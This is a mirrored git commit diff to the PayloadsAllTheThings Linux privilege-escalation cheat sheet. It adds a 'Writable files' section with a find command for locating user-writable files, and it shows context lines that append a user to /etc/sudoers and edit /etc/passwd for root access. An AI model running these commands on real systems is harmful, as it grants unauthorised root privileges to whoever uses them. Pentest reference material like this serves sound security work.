mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 15:14:34 +00:00
Linux PrivEsc - Writable files
This commit is contained in:
parent
94a60b43d6
commit
8cec2e0ca3
1 changed files with 10 additions and 4 deletions
|
@ -35,8 +35,9 @@
|
||||||
* [sudo_inject](#sudo-inject)
|
* [sudo_inject](#sudo-inject)
|
||||||
* [GTFOBins](#gtfobins)
|
* [GTFOBins](#gtfobins)
|
||||||
* [Wildcard](#wildcard)
|
* [Wildcard](#wildcard)
|
||||||
* [Writable /etc/passwd](#writable-etcpasswd)
|
* [Writable files](#writable-files)
|
||||||
* [Writable /etc/sudoers](#writable-etcsudoers)
|
* [Writable /etc/passwd](#writable-etcpasswd)
|
||||||
|
* [Writable /etc/sudoers](#writable-etcsudoers)
|
||||||
* [NFS Root Squashing](#nfs-root-squashing)
|
* [NFS Root Squashing](#nfs-root-squashing)
|
||||||
* [Shared Library](#shared-library)
|
* [Shared Library](#shared-library)
|
||||||
* [ldconfig](#ldconfig)
|
* [ldconfig](#ldconfig)
|
||||||
|
@ -369,8 +370,13 @@ tar cf archive.tar *
|
||||||
|
|
||||||
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
|
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
|
||||||
|
|
||||||
|
## Writable files
|
||||||
|
|
||||||
## Writable /etc/passwd
|
```powershell
|
||||||
|
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
### Writable /etc/passwd
|
||||||
|
|
||||||
First generate a password with one of the following commands
|
First generate a password with one of the following commands
|
||||||
|
|
||||||
|
@ -400,7 +406,7 @@ su - dummy
|
||||||
|
|
||||||
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
|
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
|
||||||
|
|
||||||
## Writable /etc/sudoers
|
### Writable /etc/sudoers
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
|
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
|
||||||
|
|
Loading…
Reference in a new issue